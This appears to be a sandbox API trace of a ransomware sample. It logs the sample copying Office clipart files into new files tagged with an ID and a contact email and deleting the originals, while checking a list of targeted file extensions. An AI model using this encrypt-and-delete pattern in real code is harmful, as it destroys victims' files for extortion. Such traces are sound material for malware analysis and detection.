	[0184.366] WriteFile (in: hFile=0x3c8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xd30, lpOverlapped=0x0) returned 1
	[0184.368] ReadFile (in: hFile=0x548, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.368] WriteFile (in: hFile=0x3c8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.368] SetEndOfFile (hFile=0x3c8) returned 1
	[0184.368] CloseHandle (hObject=0x3c8) returned 1
	[0184.368] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.368] SetEndOfFile (hFile=0x548) returned 1
	[0184.371] CloseHandle (hObject=0x548) returned 1
	[0184.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf")) returned 1
	[0184.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0184.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0184.373] lstrlenW (lpString=".doc") returned 4
	[0184.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.373] lstrlenW (lpString=".docx") returned 5
	[0184.373] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0184.373] lstrlenW (lpString=".pdf") returned 4
	[0184.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.373] lstrlenW (lpString=".xls") returned 4
	[0184.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.373] lstrlenW (lpString=".xlsx") returned 5
	[0184.373] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0184.373] lstrlenW (lpString=".ppt") returned 4
	[0184.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0184.373] lstrlenW (lpString=".zip") returned 4
	[0184.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.373] lstrlenW (lpString=".rar") returned 4
	[0184.374] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.374] lstrlenW (lpString=".bz2") returned 4
	[0184.374] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.374] lstrlenW (lpString=".7z") returned 3
	[0184.374] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0184.374] lstrlenW (lpString=".dbf") returned 4
	[0184.374] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0184.374] lstrlenW (lpString=".1cd") returned 4
	[0184.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0184.374] lstrlenW (lpString=".jpg") returned 4
	[0184.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0184.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0184.374] lstrlenW (lpString=".doc") returned 4
	[0184.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.374] lstrlenW (lpString=".docx") returned 5
	[0184.374] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0184.374] lstrlenW (lpString=".pdf") returned 4
	[0184.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.374] lstrlenW (lpString=".xls") returned 4
	[0184.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.374] lstrlenW (lpString=".xlsx") returned 5
	[0184.374] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0184.374] lstrlenW (lpString=".ppt") returned 4
	[0184.374] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0184.374] lstrlenW (lpString=".zip") returned 4
	[0184.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.375] lstrlenW (lpString=".rar") returned 4
	[0184.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.375] lstrlenW (lpString=".bz2") returned 4
	[0184.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.375] lstrlenW (lpString=".7z") returned 3
	[0184.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0184.375] lstrlenW (lpString=".dbf") returned 4
	[0184.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0184.375] lstrlenW (lpString=".1cd") returned 4
	[0184.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68
	[0184.375] lstrlenW (lpString=".jpg") returned 4
	[0184.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.375] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0184.375] lstrlenW (lpString="J0152594.WMF") returned 12
	[0184.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0184.377] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=6340) returned 1
	[0184.377] CloseHandle (hObject=0x548) returned 1
	[0184.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf")) returned 0x220
	[0184.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0184.377] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.378] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0184.379] GetLastError () returned 0x0
	[0184.379] ReadFile (in: hFile=0x548, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x18c4, lpOverlapped=0x0) returned 1
	[0184.381] WriteFile (in: hFile=0x3c8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x18d0, lpOverlapped=0x0) returned 1
	[0184.383] ReadFile (in: hFile=0x548, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.383] WriteFile (in: hFile=0x3c8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.383] SetEndOfFile (hFile=0x3c8) returned 1
	[0184.383] CloseHandle (hObject=0x3c8) returned 1
	[0184.383] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.383] SetEndOfFile (hFile=0x548) returned 1
	[0184.387] CloseHandle (hObject=0x548) returned 1
	[0184.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.387] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf")) returned 1
	[0184.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0184.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0184.389] lstrlenW (lpString=".doc") returned 4
	[0184.389] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.389] lstrlenW (lpString=".docx") returned 5
	[0184.389] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0184.389] lstrlenW (lpString=".pdf") returned 4
	[0184.389] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.389] lstrlenW (lpString=".xls") returned 4
	[0184.389] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.389] lstrlenW (lpString=".xlsx") returned 5
	[0184.389] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0184.389] lstrlenW (lpString=".ppt") returned 4
	[0184.389] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0184.389] lstrlenW (lpString=".zip") returned 4
	[0184.389] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.389] lstrlenW (lpString=".rar") returned 4
	[0184.389] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.389] lstrlenW (lpString=".bz2") returned 4
	[0184.389] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.389] lstrlenW (lpString=".7z") returned 3
	[0184.389] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0184.389] lstrlenW (lpString=".dbf") returned 4
	[0184.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0184.389] lstrlenW (lpString=".1cd") returned 4
	[0184.389] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0184.389] lstrlenW (lpString=".jpg") returned 4
	[0184.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0184.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0184.390] lstrlenW (lpString=".doc") returned 4
	[0184.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.390] lstrlenW (lpString=".docx") returned 5
	[0184.390] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0184.390] lstrlenW (lpString=".pdf") returned 4
	[0184.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.390] lstrlenW (lpString=".xls") returned 4
	[0184.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.390] lstrlenW (lpString=".xlsx") returned 5
	[0184.390] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0184.390] lstrlenW (lpString=".ppt") returned 4
	[0184.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0184.390] lstrlenW (lpString=".zip") returned 4
	[0184.390] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.390] lstrlenW (lpString=".rar") returned 4
	[0184.390] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.390] lstrlenW (lpString=".bz2") returned 4
	[0184.390] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.390] lstrlenW (lpString=".7z") returned 3
	[0184.390] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0184.390] lstrlenW (lpString=".dbf") returned 4
	[0184.390] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0184.390] lstrlenW (lpString=".1cd") returned 4
	[0184.391] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68
	[0184.391] lstrlenW (lpString=".jpg") returned 4
	[0184.391] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.391] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0184.391] lstrlenW (lpString="J0152600.WMF") returned 12
	[0184.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0184.394] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=9768) returned 1
	[0184.394] CloseHandle (hObject=0x548) returned 1
	[0184.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf")) returned 0x220
	[0184.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0184.395] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.395] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0184.396] GetLastError () returned 0x0
	[0184.396] ReadFile (in: hFile=0x548, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x2628, lpOverlapped=0x0) returned 1
	[0184.398] WriteFile (in: hFile=0x3c8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x2630, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x2630, lpOverlapped=0x0) returned 1
	[0184.399] ReadFile (in: hFile=0x548, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.399] WriteFile (in: hFile=0x3c8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.399] SetEndOfFile (hFile=0x3c8) returned 1
	[0184.400] CloseHandle (hObject=0x3c8) returned 1
	[0184.404] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.404] SetEndOfFile (hFile=0x548) returned 1
	[0184.481] CloseHandle (hObject=0x548) returned 1
	[0184.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.653] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf")) returned 1
	[0184.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0184.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0184.676] lstrlenW (lpString=".doc") returned 4
	[0184.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.676] lstrlenW (lpString=".docx") returned 5
	[0184.676] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0184.676] lstrlenW (lpString=".pdf") returned 4
	[0184.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.676] lstrlenW (lpString=".xls") returned 4
	[0184.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.676] lstrlenW (lpString=".xlsx") returned 5
	[0184.676] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0184.676] lstrlenW (lpString=".ppt") returned 4
	[0184.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0184.676] lstrlenW (lpString=".zip") returned 4
	[0184.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.676] lstrlenW (lpString=".rar") returned 4
	[0184.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.676] lstrlenW (lpString=".bz2") returned 4
	[0184.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.676] lstrlenW (lpString=".7z") returned 3
	[0184.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0184.676] lstrlenW (lpString=".dbf") returned 4
	[0184.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0184.676] lstrlenW (lpString=".1cd") returned 4
	[0184.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0184.676] lstrlenW (lpString=".jpg") returned 4
	[0184.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0184.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0184.677] lstrlenW (lpString=".doc") returned 4
	[0184.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.677] lstrlenW (lpString=".docx") returned 5
	[0184.677] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0184.677] lstrlenW (lpString=".pdf") returned 4
	[0184.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.677] lstrlenW (lpString=".xls") returned 4
	[0184.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.677] lstrlenW (lpString=".xlsx") returned 5
	[0184.677] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0184.677] lstrlenW (lpString=".ppt") returned 4
	[0184.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0184.677] lstrlenW (lpString=".zip") returned 4
	[0184.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.677] lstrlenW (lpString=".rar") returned 4
	[0184.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.677] lstrlenW (lpString=".bz2") returned 4
	[0184.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.677] lstrlenW (lpString=".7z") returned 3
	[0184.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0184.677] lstrlenW (lpString=".dbf") returned 4
	[0184.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0184.677] lstrlenW (lpString=".1cd") returned 4
	[0184.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68
	[0184.677] lstrlenW (lpString=".jpg") returned 4
	[0184.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.678] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0184.678] lstrlenW (lpString="J0152608.WMF") returned 12
	[0184.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0184.771] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=12436) returned 1
	[0184.771] CloseHandle (hObject=0x55c) returned 1
	[0184.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf")) returned 0x220
	[0184.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.890] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.890] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0184.892] GetLastError () returned 0x0
	[0184.892] ReadFile (in: hFile=0x540, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x3094, lpOverlapped=0x0) returned 1
